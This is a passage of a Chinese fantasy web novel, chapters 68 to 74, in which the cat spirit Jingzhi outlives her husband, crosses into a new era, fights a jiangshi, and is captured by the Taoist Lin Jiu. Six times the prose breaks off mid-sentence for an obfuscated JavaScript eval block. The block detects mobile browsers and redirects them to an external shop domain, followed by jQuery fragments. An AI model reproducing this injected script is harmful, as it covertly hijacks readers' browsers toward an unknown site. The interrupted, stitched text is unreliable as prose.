小霄,本名梁霄,是二娣的长子,是个纯纯的妹控。 小瑶,本名梁瑶,是二娣的宝贝闺女,是个弟控,控的是梁赞的长子,梁璧。 这可把小霄气坏了,所以每次小璧一过来,他就看人家鼻子不是鼻子,眼不是眼的。 “我说笑笑啊,你就让他俩玩儿呗,小……瑶石他挺乖的,不会带坏你妹妹。” 小霄突然涨红了脸,冲了过来,把小脑袋往他娘怀里怼,怼了一会儿,才板着脸,一脸严肃地说: “不要叫我笑笑,请你叫我的大名。” 下一秒,他的肉肉脸就被他亲娘不断揉搓着: “谁叫你一年到头都绷着脸,你爹都笑得比你多!” 正说话呢,她突然被从秋千上打横抱起,吓得她就是赶紧抱住来人的脖子: “你干什么!几个孩子都在这呢!” 说着,她不断推搡着二娣越发厚实的胸膛,推到一半,手就被握住,并塞了一个瓷瓶。 二娣低着头看着那容貌没有丝毫变化,反倒是头发又长了不少的静之说: “小之,我做成功了,送给你!” 静之下意识捏着瓷瓶嗅了嗅。 “这什么?没味道。” 二娣指尖轻轻绕着她顺滑的一绺白发,柔声说着: “染发膏,倒到水里,把头发放里头浸泡一会儿,就能变黑,我试了好久,对身体和毛发都无害的,我帮你试试?” 静之手伸到他背后挑起他依旧乌黑水滑的辫子,有些疑惑问道: “你怎么试,你头发本来就黑。” 二娣眼神突然开始闪烁,这时,瑶石说话了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086523|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清脆的童声里带着一丝恍然大悟: “哦~我外公头发原来是这么黑的呀。” 二娣胸口突然中了一拳,他低头一看,静之正抿着嘴,一脸不悦: “你拿华宝叔试?你不怕他打过来啊?” 二娣瞪了那个意图拐走他闺女的臭小子一眼,又打发他们三人在院子里荡秋千,这才抱着静之缓缓朝屋里走,边走边说: “那药水融进水里,无色无味,他不会发现的。” 不知想到什么,他突然轻笑出声。 “你乐啥?” 他低头啄了静之一口,才抵着她的头笑得开怀: “他这两天挺开心的,以为他自己返老还童了,呵。” “……斗了这么多年,你们还不腻啊?他家可就在买在咱们隔壁,他要是打过来,这次我可不帮你。” “呵,他现在可打不过我了。” “……你就作吧。” …… 二娣这一作,作到了90岁,直到华宝108岁去世那天,他才停下捉弄他的脚步。 容貌依旧毫无变化,只是气质变得更加稳重的静之,轻轻拍了拍他的肩膀: “108岁,也算是无疾而终了,华宝叔这一辈子都挺开心的,五个大外孙呢,重孙多得我都数不过来,死的时候,他嘴角都是向上的,二娣,你别伤心。” 许是她的心头血起作用了,二娣都90了,头发也只白了一半,容貌跟五六十的差不多,精神依旧抖擞,倒是让静之感到意外。 他这病秧子身体,这一格电,待机时间倒是挺长啊。 令她没想到的是,他待机时间 还能更长。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第69章 妖孽,休要作怪! 随着他的心跳渐渐停止,趴在他心口处的静之,仿佛一座被浪潮浸透的沙雕一般,开始缓慢地分解,她原本精致的面容和身躯,此刻正以肉眼可见的速度渐渐逸散。 眼看着自己即将消散于无形,而床上躺着的那具躯体也渐渐地失去温度变得冰冷,她的心中突然涌起一股强烈的不舍。 在这最后的时刻里,她用尽全身仅存的力气,努力地抬起头来,轻轻地触碰了一下他那已经没有丝毫温度的薄唇。 接着,她便化作一道耀眼的流光,彻底消失在这片空气中…… 就在此时,从半空中悄然滑落了一滴晶莹剔透的水珠,这滴水珠正是静之留在这个世界上的最后一丝痕迹。 它不偏不倚滴落在了二娣右侧的太阳穴上,竟是凝结在了那里,仿佛时间都在此刻静止了一般,久久未曾滴落…… … 二娣,才刚离开,我就开始想你了。 抱着这样心情的静之,在经过那一阵熟悉的灵魂拉扯感时,她软着身体,任由时空裂缝拉扯着她,将她拖入时光的滚滚洪流之中…… 不知沉浮多久,拉扯感渐渐消失,她的五感渐渐回归。 皮肤开始能感受到空气中微风拂过的阵阵凉意,紧闭的双眼轻微抖动着,开始感应到一点点光线。 就在这时,一股浓重的腐臭,参杂着些许泥土的腥味突然窜入她鼻间。 腐臭? 泥土? 静之倏然睁眼,待看清快贴到她脸上之物时,一句“卧槽”跟一句惊声尖叫顿时响彻天际,惊起林中飞鸟无数。 就在下一瞬间,她那因为惊恐而硬生生逼出一层细汗的脚底,猛然发力蹬向地面。 飞身后退的同时,迅速操纵身后吓得炸毛的几条尾巴,朝着她前方那个身着清朝官服、伸直双臂正一蹦一跳地朝她扑来的身影,狠狠抽打过去。 是僵尸吧? 她暗想着。 记得阿风曾经跟她说过,人一旦死去之后,如果出现像眼前这具尸体这样,僵直得只能靠蹦跳来移动的情况,那就可以称之为僵尸。 “砰!” 数道凌厉的破空声响起,尾巴狠狠地鞭到青面獠牙的僵尸身前。 霎那间,衣衫破裂,她的尾巴带起几片碎裂的官服扬至空中。 令人意想不到的是,那僵尸居然只是后退几步,而静之的尾巴尖儿却是隐隐作痛,仿佛刚刚鞭到的不是尸,而是一块硬邦邦的石头一样。 那僵尸似乎嗅到了生人的气息,它缓缓地转动着那双诡异带着一点红光的眼珠子,干瘪萎缩得只剩下一点点鼻翼的鼻子轻轻动了动。 “嗬……” 一股阴寒的气息凝结成雾,自他口中吐出。 僵尸确定离他几步远的位置,有人在呼吸。 他脚下用力一蹦,身体腾空驰来的同时,张大他布满獠牙的嘴,径直咬向静之脖间。 臭死了! 静之眉头紧皱,甩过去一个大耳瓜子,直把那僵尸的头打歪,又噔噔两下,借力身侧的树干跃到树上。 半蹲下的同时,来不及多想,又操纵一条尾巴极速增长,朝僵尸脖间卷去。 那僵尸好似没有遇到过这种对手,完全没有在怕的。 他任脖间的尾巴寸寸绞紧,突然伸出发着冷光的尖利指甲朝静之面门插去。 靠! 忘记他不是活人了! 静之轻啧一声,打消了要一尾巴卷死他的念头,一个后仰翻身,跃到另一树干。 这玩意儿,打也不打死,真是棘手! 她急速飞驰着,身后那僵尸不知为何,就是死死跟着她。 突然,她脑海里闪过一个念头。 那玩意儿,不会是肖想她体内的灵气吧? 想到这,她咬破自己的指尖,朝后面甩出一滴血,然后止下脚步,躲在树干后偷看。 那僵尸竟是只停了一瞬,又直直朝她飞了过来。 靠! 是只有理智的僵尸? 静之拔腿就飞,僵尸穷追不舍。 它只知道,前面那个人的肉好香啊,要是能吃上一口,它的实力就能晋升了。 僵尸转动着它那快要生锈的脑筋,越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086524|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追越紧,越追越兴奋。 香香! 我要香香! 香香本香听到身后渐渐接近的蹦跳声,猛猛翻了个白眼。 她刚被卷进这个时空,灵力本就不稳,这会儿,飞行的速度是越来越慢。 眼瞅着二人只剩下几米的距离,就在她以为自己穿不逢时,吾命休矣的时候,耳边突然传来一声清灵的声响。 “叮铃!” 身后的僵尸只僵了一瞬,随即便猛地扑向她。 尼玛……法术不行,武力值她也有一点的。 静之灵力耗尽,落地的瞬间,一个转身,用力甩出鞭腿直袭僵尸脑门,当下那尸受力后退了几步。 就在这个时候,她身后之人趁机掷出已插上黄纸的桃木剑。 “呲!” 青烟弥漫。 那尸前后受敌,一时不察,那剑正中心口,它抽搐了两下,直挺挺的朝前一倒,尸生到此结束,到嘴边的香香再也无 缘尝上一口。 它这一倒,便露出了它身后围住的那人。 静之张大了嘴愣愣的看着,樱唇抖了几下,不禁低声喃喃道: “……阿风?” 只见来人穿着一身灰色长袍,下摆扎在腰间,短发利索,却是有着几撮白发,他的袖子挽了两圈,露出了手中持着的镇魂铃。 刚刚,她听到的那声叮铃声响,就是那玩意儿传出来的吧? 就在她视线又开始上移,想确认看看是不是林风的时候,她瞳孔骤然一缩—— “不要——” 只见她那原本高挑修长的身躯,竟然以肉眼可见的速度逐渐变小,仿佛有一股无形的力量正在将她压缩一般。 眨眼之间,她整个人便如一道闪电般被泛着黄光的坛口吸了进去。 说时迟那时快,一直全神贯注盯着这一幕的林九,在她被吸入坛中的瞬间,猛地伸出手,一把将盖子盖上。 然而,他似乎还是有些不放心,眉头微皱着,从怀中掏出两张黄色的符咒,往坛口啪的一贴: “妖孽,休要作怪!” 第70章 秋生与文才 林九手迅速地将镇魂铃放入随身携带的布袋之中,右手则小心翼翼地把刚刚还横抱在怀中的坛子扶正。 就在这时,他敏锐的耳朵捕捉到了由远及近传来的熟悉声音——那是他的两个徒弟逐渐靠近时的打闹声响。 林九下意识地回过头去,只见文才一脸得意洋洋的模样,不知道对秋生说了些什么,引得秋生猛地跳起身,伸出右手狠狠地在他的头上敲一记脑瓜崩: “臭小子,居然敢戏弄你师兄我?!看我不好好收拾你!” 在皎洁的月光下,文才那还算发质好的蘑菇头被敲得Duang了一下,甚至还荡漾起了一圈细微的波纹。 他捂着脑袋,一张老脸瞬间皱成苦瓜,嘴巴张了又合,显然是想要回击几句。 就在这时,他耷拉着的眼角余光忽然瞥见站在三米开外的师父正背着手,冷眼注视着他俩。 “师,师父。”文才细若蚊声,身体也不由自主地瑟缩起来,慢慢吞吞挪了过去。 而另一边的秋生听到文才的称呼后,也立刻反应过来,他干笑了两声,麻利跃过路边倒下的树干,三步并做两步快走到林九面前。 刚看了一眼地上的僵尸,他哇了一声,夸张地对林九竖起两个大拇指: “师父,还得是你,我和文才追半天了,都没赶上你,没想到你这么快就解决了!” 林九冷哼一声,没说什么,只是将坛子往他手里一塞。 他一向是个谨慎的人,以防这僵尸再度尸变,残害乡亲,他决定就地火化。 说干就干。 只见他从布口袋里掏出一张黄符轻轻一抖,那符便瞬间燃起。 燃起的刹那,他眼疾手快将其丢到地上的僵尸身上。 那尸身上的水分,日久经年,已然快要干透。 他这一掷,犹如干柴遇上烈火,尸体轰的一声熊熊燃起,不多时,已经烧得焦黑。 烧腐肉的味道可不好闻,秋生一手捏鼻子,一手把坛子夹在腋下,一张嬉笑的脸伸向林九: “师父,这坛子里装的什么?你动作这么快,又抓到鬼啦?” 林九瞥他一眼,背着手,转头就走。 走之前,有些恨铁不成钢的咬牙沉声怒斥: “……不知所谓。” 走到文才旁边,看他那鹧鸪样儿,林九闭了闭眼,又深深叹了口气。 心中暗道,他这两个徒弟,真是没一个好的,一天天就知道惹他生气。 想到这,他又哼了一声,脚步越发快速,朝义庄的方向走去。 师父一走,月光下的森林好似变得更加阴森,那一只只撑出的树干好似鬼手。 夜风习习,文才四处打量几眼,不禁打了个哆嗦,捏着衣摆蹭到秋生身边,紧紧贴着他的背: “师,师兄,我们也赶紧回去吧。” 秋生转身一手肘箍住他脖子,嘴角一勾: “怎么?这就怕啦?” 文才倒是老实,他微微昂起头对上他师兄那张俊脸,苦笑一下: “怕不怕都得回去了,我看师父好像生气了。” 说着,他还指了指远处都快被浓雾罩住,完全消失了的人影。 “……嘁,回去吧。” 秋生放开他,上下轻轻抛了两下手中的坛子,嘴里嘀嘀咕咕说着: “也不知道师父这回抓的是什么鬼,刚刚你有没有看到啊?” “……没有,刚刚你打得我眼冒金星,哪里还能看得到嘛。” 说着,文才又揉了揉依旧痛得不行的头顶。 两人一路斗嘴,又怕他们师父真生气会处罚他们,脚下赶路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086525|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的速度也渐渐加快。 就在师父的背影又在浓雾里出现的时候,两人眼前一亮,快步跑了过去。 刚到林九附近,就见他正拧着眉对着一棵树发呆。 秋生把脸伸过去,一脸疑惑问道: “师父,看什么呢?老远就看到你站在这儿。” 林九翻了个白眼,掰开他的头,俯下身伸出食指挑起树干上那滴尚未完全凝固的血液细看。 只见那血液呈暗红色,奇怪的是,竟有点点流光萦绕其中,他不禁将手指头凑近闻了闻。 ……怪哉。 血液不都是腥气十足,充斥着一股铁锈味的吗? 为何这滴血,竟是有些香甜? 林九一时之间竟觉得自己产生的这个念头有些荒谬。 想不明,便不想了。 他捻动着手指擦去血液,直起身子,转身就要走。 这时,秋生却皱眉凑近他的侧脸不住打量,嘴里还不住嘀咕: “师父,你右眼角有颗小痣诶,我以前怎么没有发现。” 话音刚落,文才撑着他的背,也凑近看了一眼,小声说: “是,是这样。” 林九斜他俩一眼,淡淡地说: “秋生,坛子给文才,僵尸已灭,你该回你姑妈那儿去了。” 他转头看向文才,张了张嘴,叹了口气,终是什么也没说,啧一声,转身便走了。 文才接过坛子,挠了挠脸,有些委屈地说: “师兄,他这是什么意思。” 秋生挑了挑眉,“什么意思?”他邪邪一笑,又是一个脑瓜崩弹到他凑过来的额头上,然后转身就跑。 “哈哈哈,我先回去了!” “真是……过分!我回去告诉师父!” …… 第71章 杀敌八百自损一千 还未等他们二人走到义庄,原本被文才紧紧抱在怀里的那个坛子,突然毫无征兆地开始传出一阵抽泣声! “呜呜呜……” 这阵幽怨的哭声,在这片昏暗寂静的林中,显得愈发诡异和惊悚。 文才不由得浑身一抖,只觉得一股寒意顺着脊梁骨迅速爬了上来。 他下意识地想要将手中的坛子扔出去,但最终还是凭借着仅存的一丝理智强行忍住了这个冲动,扣着坛身的手心开始浮上一层冷汗。 他战战兢兢地抬起头来,朝左前方望去,只见他师父那挺拔的身影正大步前行着,仿佛一点儿也没有被这阵哭声影响到。 看到师父如此镇定自若,文才那颗悬到嗓子眼儿的心总算稍稍安定了一些。 然而,那坛中的精怪似乎并没有因为文才的恐惧而停止哭泣,反而哭得越发凄惨起来,其间还时不时地低声呢喃着些什么。 由于声音是从坛子里传出来的,听起来显得十分沉闷模糊,强烈的好奇心驱使着文才将耳朵贴了上去。 听了好一会儿,他突然快跑几步,走到林九跟前,结结巴巴地说: “师……师父,她哭得实在是太惨啦!而且我好像听见她一直在叫‘二弟’呢,有的时候还会叫‘臭弟弟’。您说,她该不会是走丢了弟弟吧?” 一直目不斜视、大步流星向前赶路的林九,在听到文才提到“二弟”这个称呼时,他那原本坚毅沉稳的面容微微一怔,眉头更是不自觉地轻轻皱起。 这俩字…莫名觉得有些耳熟。 “山鬼精怪最惑人心,别同情心泛滥,不然你连怎么死的都不知道。” 随着文才的凑近,他也听了一耳朵。 那哭声确实有些揪心,却惹得林九越发警惕,毕竟,他俩徒弟没看到,他可是看得清楚。 那坛中所收之物,分明就是七尾猫妖。 猫妖与狐妖,惯会迷人心智。 不过,都七尾了,实力应该不错,为何会这么简单就被他收了呢? 林九不免感到疑惑。 坛中的静之在听到他说完刚刚那句话之后,哽了一瞬,随即哭得更大声了。 顷刻间,小声的呜呜呜变成了嚎啕大哭的啊啊啊,嚎得近在咫尺的文才脑瓜子嗡嗡的,他不禁把坛子快速举出一臂远。 踏入义庄门口的那一刻,林九转头看向文才,看到他的举动,忍不住又叹了口气,沉声交代: “小心点,别打碎了,把它摆到祖师爷后面,等会我忙完再处理。” 文才哦哦两声,他一向听师父的话,于是快步走进院子,径直走到正厅的祖师爷神像面前。 将坛子放好后,刚想走,耳边又听闻那坛子里的东西哭得伤心,他有些不忍,于是皱巴着脸转身给它上了柱香。 “兄弟吃饭啦,吃完了就别再哭了。” 刚要回去睡觉,迎面就看到林九穿着白色中衣走了进来。 “师父,放好了,我回去睡觉了。” 林九背着手淡淡嗯了一声,目光触及那燃着的香时,心中不禁暗忖: 傻是傻了点,好在心善。 他面色稍缓,于是回头朝那快走出门口的人说: “明天早点起床,跟我出去一趟。” 听到声音,一脚跨出门槛的文才扶着门框回头: “去哪?” 林九缓缓解释: “镇上的任老爷要迁祖坟,明天跟他商量一下……早点休息吧。” 文才嘀嘀咕咕的,眸里精光一闪: “任老爷?有钱人啊,那岂不是个大单?师父,这回可有的赚了!” 林九斜他一眼:“多嘴,还不去睡觉!” 文才顿时噤声,也不敢笑了,缩头缩脑快步走了出去。 …… 林九一通忙活,月亮高悬的时候好不容易才得空躺下休息,他放松心神,刚要进入梦乡时,耳边突然传来一阵令人牙酸的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086526|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那声音,像是有人在用指甲盖刮黑板,咯吱咯吱的,刺耳极了,听得林九眼皮直跳。 忍了许久,听那声儿不仅不消停,甚至还有越来越响的趋势,他黑着脸,大力掀开被子,趿拉着鞋子冲出卧室。 路过文才虚敞着的卧室门口时,他下意识往里头看了一眼,却发现文才睡得四仰八叉的,枕头都掉到床底下了,浑然不觉,且看样子,一点儿也没有被那还在持续着的刺耳声音影响到。 林九乍舌,忍不住小声嘀咕了句: “睡得跟猪一样,这样的人,看守义庄最合适了。” 边说着,他放轻步子走进去把枕头给他捡回床上,这才朝着正厅走去。 …… 始作俑者——静之,此刻正紧咬牙关幻化出两只前爪,她那尖尖的指甲如同锐利的刀刃一般,不停地刮擦着眼前坚固的坛壁。 随着每一次的刮蹭,坛壁上都会多出一道醒目的白色爪痕。 实际上,身处坛中的她比任何人都要痛苦难熬。 这个坛子内部是弧形结构,越是靠近上方,弧度就越大。 再加上它处于完全封闭的状态,因此,坛子里简直成了一个天然的吸音室,任何微小的声响在这里都会 被无限放大。 静之所做的一切,无疑是一种杀敌八百、自损一千的愚蠢行为。 然而,她心中的怒火已经燃烧到了极点。 她不好过,外头那人也别想好过! 正当她越刮越大力的时候,外面突然传来一不耐的声音: “你到底想要怎么样?” 刹那间,那刺耳的嘎吱声戛然而止。 一直在忍受噪音侵扰的林九如释重负般地长长舒了一口气,紧绷的神经终于得到了片刻的放松。 就在此时,坛内瞬间传来一怒气十足却又有些沙哑的女声: “是你想怎么样?我一未作奸犯科,二未杀人放火,你抓我做什么?” 第72章 到底谁是主人? 二娣初初与她接触时,也只是动动嘴讽她两句,这辈子可倒好,转世的他直接上手了! 混蛋! 静之越想越气,于是又换了个位置,找个釉面厚些的地方开始刮,她暗暗点头。 越光滑,越刺耳;越刺耳,她越大力。 我整不死你! “咯吱————” “停!!!” 林九捏了捏眉心,忍不住徘徊几步,又在那坛子面前站定。 “咯吱————” “好了好了!怕了你了!” 他把坛子从祖师爷神像后面拿出来,一路走到庭院放在地上。 林九深吸一口气,猛地伸手将符咒一把扯开,并迅速掀起盖子。 就在这一瞬间,出于战斗本能,他的身体急速向后倒退了好几步。 与此同时,他的右手灵活地从衣袖之中一抖,一柄随身携带的铜钱剑便顺势滑落到了手中。 他紧紧握住剑柄,将剑身横在自己身前,摆出一副严阵以待的架势: “你出来吧,只要你答应我不再去祸害无辜的百姓,我可以放你离去。但是,倘若你违背承诺,哪怕追到天涯海角,我林九也绝不会放过——” 话音未落,原本安静放置着的坛子突然间像是被某种神秘力量操控般,剧烈抖动了两下。 林九立刻闭上嘴巴,他的双手死死捏住那柄金钱剑,剑尖慢慢指向瓮口,全神贯注地盯着那坛子的动静。 就在他满心以为坛子里的东西即将现身时,那坛子却又如同一开始那般,骤然恢复平静。 又过了几秒。 “说收就收,叫走就走,我岂不是很没面子!” 下一秒,伴随着一声微微沙哑的嗔怒响起,一股浓郁的白雾从瓮口弥散开来,紧接着,一道白色的流光如闪电般从瓮口中激射而出。 林九定睛一看,那道流光化为一女子,她身形一转,转瞬间已然化为人形。 只不过此时,她身后原本摇曳着的几条尾巴已经不见了踪迹。 他暗暗打量一下站在院中的女子,不看不知道,一看吓一跳。 他发现她身上不仅没有任何阴气,反而还笼罩着一层淡淡的金光。 这……是功德金光吧? 功德难修,难道,真是他林九看走眼了? 且她眉宇之间带着一股英气,气质脱俗,由面相来看,倒也不像个坏妖…… 瞧着皱眉陷入沉思的林九,此时静之心里同样翻腾起无数念头。 林九? 他叫林九?? 倒是跟她大女儿同名,想到这,她不由暗笑一下。 仿佛占了他便宜似的,心里爽感顿生,刚刚对他的满腔怒火也随之一扫而空。 她暗暗打量了一下现在所处的环境,没看几眼,眼神却突然凝在他身后的那尊祖师爷身像上。 那神像…好像阿风平时供着的那尊啊…… 这辈子,他也是个道士? “你走吧。” 意识到是自己的失误,林九收回剑背在身后,眼皮微阖,有些不敢对上她那双清可见底的眼。 “……嘁。” 只见静之脚下一点,身形如燕,瞬间越过他的身旁,而后缓缓飘落于他身侧那把摇椅上。 她悠然自得地环抱双臂,轻轻闭上眼睛,嘴角微扬,带着几分戏谑说道: “哼,请神容易送神难,本姑奶奶今儿个还就赖这不走啦!你爱咋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086527|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咋滴,反正我困得很,要睡喽。” 林九望着眼前这蛮不讲理的女子,无奈地摇摇头,向前迈了两步。 然而就在即将靠近时,他的脑海里突然闪过男女有别的念头,于是脚步猛地一顿,紧接着又迅速向后退了好几步,与静之保持一定距离后,才站定身子,远远地看着她说道: “姑娘,此处是义庄,阴气极重,绝非良善之地。你一个女孩子,在此逗留实在不妥,对你可没半点儿好处。听在下一句劝,还是速速离去吧,莫要给自己惹来不必要的麻烦......” 话尚未说完,静之便不耐烦地竖起手掌打断道: “停!停!少啰嗦,我才懒得理你这里是什么地方呢。就算是义庄又如何?不是还有你这位道士在嘛,有啥好怕的。总之,除非你给本姑娘诚心诚意地道个歉,否则我是绝对不会离开的!” 听到这话,林九顿时语塞,心中不禁涌起一股闷气。 仿佛自己的颜面被人毫不留情地拂去,他的脸色变得有些难看。 且提到道歉时,他更是感到难以启齿,嘴巴像是被什么东西堵住了一样,怎么也张不开。 僵持片刻之后,林九干脆一甩衣袖,故作镇定地说道: “罢了,既然你执意如此,那就随你好了。不过我可得提醒你,我这义庄之中,尸体和僵尸可是多得数不胜数......” 看着她瞳孔里闪过的一丝震荡,林九心里暗喜。 他这样说,她该会被吓退吧。 毕竟,有灵气的精怪都不屑与这些东西为伍。 怎料静之挪了挪屁股,侧过身子,闭上眼睛,强装镇定说: 本小章还未完,请点击下一页继续阅读后面精 彩内容! 第73章 大眼瞪小眼 许是心里藏着事儿,林九直到天蒙蒙亮才睡了过去。 然而,没睡一刻钟,就觉得整个心口处堵得慌,仿佛被块大板砖压着一般,让他喘不过气来。 当下,他便以为自己鬼压床了。 他心道,连道士都敢压,这小鬼真是活得不耐烦了! 林九额头青筋直跳,他眼还未睁,便抖落袖中的金钱剑攻了过去…… … “师,师父,她谁呀?” 文才端着碗,眼睛不住打量着坐在饭桌另一头的女子。 她虽然冷着脸,但是长得可真俊! 文才的眼神渐渐迷离,一双眼仿佛上了502胶水,死死粘在静之脸上,眼皮都不舍得眨一下。 也就看了几秒,他后脑勺突然被狠狠扇了一巴掌。 一阵叮当哐铛响,静之眼疾手快接住文才落到半空中的汤匙,默默递给他,又似笑非笑地看着坐他对面的林九说: “怎么?一大早就打我,现在又开始打徒弟了?” 饭桌上两人针尖对麦芒,气氛顿时又凝固住了。 文才揉着后脑勺,绞尽脑汁想破了脑袋,都想不出缓和氛围的方法,此时他无比希望他那个有着一张巧嘴的师兄能出现在这里。 突然,他眼尖的看到林九脖间的皮肉异常,经不住好奇心的驱使,他嗫嚅了两下嘴皮子,还是问出声: “师父,这爪印昨晚都没见过,你——” 话还没说完,文才左右两边的人,两手各死死摁住桌角,桌子底下四只脚转瞬之间不知斗了几个来回。 桌子上装菜的碟子跟碗筷随着他们激烈的过招,跟着一跳一跳的,桌子也不堪重负似的,直发起一阵咯吱咯吱声。 文才无措的把椅子往后一挪,端着他的饭碗就站了起来,想了想,又伸手抢救一下那碟子他爱吃的煎豆腐干。 刚拿起碟子,那块桌子便从中间瞬间断裂开来,桌上的菜碗碎了一地。 “师,师父,你们——” “嗯?”?2 文才被两人冷冽的眼神震退了好几步,直到一屁股抵到房柱上,他才停了下来。 文才:他莫名觉得,那女子身上的气质跟他师父好像啊。 他有些委屈地小声嘀咕着: “那粥可是我一大早起来做的,还有那碟咸菜,可是我腌了许久的,就这么都倒——” “文才,别吃了,我们走!” 林九忍着脖子上那三道爪印传来的刺痛,冷着脸,大步跨过一地的狼藉,径直朝大门口走去。 “师,师父,我的粥还在,要不我还是吃了再……” 林九侧过脸,用余光冷冷瞥了文才一眼说: “……再不来,这个月工钱没收。” 文才被他看得冷汗直流,嘴上却有些忿忿不平,他小声嘀咕着: “就那几个铜板,收了就收了……” “文才!!” “来,来了!” 秉承着不浪费食物的好习惯,文才犹豫了两下,终是把那粥跟那碟豆腐干塞到静之手上,有些不舍地说: “呐,虽然不知道你从哪冒出来的,这粥给你吃,我还没动过筷子。” 静之面色微和,她突然想起来昨晚闻到的那柱香,此时竟觉得眼前这张老脸看起来比他那师父的冷脸看起来顺眼多了。 “我叫林静之,昨晚谢谢你的香,以后我会住在这里,多多关照啊!” 说着,她对文才扬起了一个大大的笑脸。 文才愣住了,“什,什么香?”突然他又瞪大了眼睛,指着静之鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086528|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖,哆嗦着嘴唇说: “你,你就是那嚎个不停的女鬼?” 静之瞪着斗鸡眼看他那微微颤抖的手指,忍不住后退一步,才没好气地说: “我才不是什么女鬼,我是灵猫,你师父眼瞎把我收了,我一时生气,才哭的。” 这时,大门口又传来林九的催促声,文才不舍地看了那碟豆干一眼,才转身往外走。 走没两步,看着亦步亦趋跟在他身边的静之,他有些疑惑: “你不趁热吃啊?” 静之摇摇头说: “我是灵猫,吃这东西也就是解解馋,还不如去入定修炼。” 文才内心一喜,他指了指侧边厨房说: “那你帮我端回去,我回来再吃。” “……啧。” …… 不过几秒时间。 “你一直跟着我干什么?” 文才内心暗爽,难道……她对他一见钟情了? 静之环着胸,朝前头人群攒动中的林九背影扬了扬下巴说: “我不是跟你,我跟着他。” “啊??” 文才心情瞬间跌落谷底,却又有些一丝不可置信,他指了指前头那道背着手的身影,又指了指身边的静之说: “你不会看上我师父了吧?不对,你们今早还打架了,不应该啊……” 静之目光灼灼地盯着前方那人的后脑勺,悠悠地叹了口气说: “打是情,骂是爱。年轻人别多问!” 文才撇嘴,并小声嗡嗡: “说得跟你有多大似的,我看啊,你得治 治眼睛,我师傅都四十几了!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第74章 结识新朋友 静之拍了拍文才的肩膀,神气地扬了扬下巴说: “等会上茶了别急啊,我教你。” “文才!” 林九略高一度的呼声,让文才不禁动了动肩膀,赶紧抖落静之放在他肩上的手。 他无奈地朝静之小声哔哔: “你还是别动我了,我师父是个老古板,他跟你能打个平手,跟我嘛,我肯定就死翘翘了。” 瞧着前面那人背在身后捏得指节发白的拳头,静之就知道他听见了,她暗笑了没几声,精神突然有些恍惚。 阿风……也是这样的呢。 林警官拍人屁股拍到他马腿上的事儿,相隔一百多年,突然又回溯到她脑中。 她讪讪收回手,仿佛怕被谁看到似的,索性环胸走着,把两只手交叉夹在腋下。 